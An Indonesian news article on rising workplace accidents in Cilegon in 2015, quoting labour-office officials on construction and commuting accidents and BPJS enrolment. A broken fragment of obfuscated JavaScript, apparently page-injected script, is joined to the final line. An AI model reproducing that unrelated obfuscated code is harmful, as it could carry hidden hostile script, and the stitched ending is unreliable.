Cilegon – Tingkat kecelakaan kerja di Kota Cilegon, Banten tergolong tinggi dan cenderung meningkat setiap tahunnya. Berdasarkan data dari Dinas Tenaga Kerja (Disnaker) Kota Cilegon, sepanjang tahun 2015 kecelakaan kerja yang terjadi di Kota Cilegon mencapai 325 kasus dengan korban meninggal dunia 11 orang. Sedangkan pada tahun 2014 lalu, jumlah kecelakaan kerja mencapai 259 orang dengan korban meninggal dunia 6 orang.

Kepala Bagian Pengawasan Kesehatan dan keselamatan kerja (K3) Dinas Tenaga Kerja (Disnaker) Kota Cilegon, Tuti Rindawati mengatakan, umumnya, kecelakaan kerja yang terjadi masih didominasi oleh kecelakaan lalu lintas. Kasus kecelakaan kerja tersebut terjadi saat pekerja berangkat dan pulang bekerja. “Misalnya, karyawan sebuah perusahaan mengalami kecelakaan kerja saat pergi dan pulang dari tempatnya bekerja,” katanya.

Tuti mengatakan, sebagian besar kasus kecelakaan kerja di Kota Cilegon didominasi oleh perusahaan yang bergerak di bidang kontruksi. Terlebih, saat ini di wilayah Cilegon banyak pekerjaan kontruksi yang sedang dilaksanakan di tahun 2015.

“Kalau di tahun 2015 ini, kecelakaan ada 325 orang. Rinciannya, sembuh 184 orang, sementara tidak mampu bekerja (STMB) 128 orang, cacat 2 orang, meninggal dunia ada 11 orang, 9 orang karena hubungan kerja atau lalu lintas, yang 2 orang ditempat kerja. Kebanyakan kasus kecelakaan kerja ini banyak terjadi di perusahaan jasa kontruksi,” katanya.

Sementara itu, Kepala Dinas Tenaga Kerja Kota Cilegon, Erwin Harahap meminta, seluruh perusahaan yang ada di Kota Cilegon untuk mendaftarkan diri sebagai peserta BPJS Ketenagakerjaan. Erwin meminta agar para pengusaha, manajemen perusahaan dan tenaga kerja lebih serius dalam meningkatkan pelaksanaan keselamatan dan kesehatan kerja di tempat kerjanya masing-masing.

“Semua perusahaan harus mendaftarkan diri sebagai peserta BPJS, selain sebagai perlindungan bagi tenagakerja, kepesertaan di BPJS juga akan sangat membantu perusahaan apabila terjadi kecelakaan kerja terhadap pekerjanya,” katanya. (Nur/Sie) ocument[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}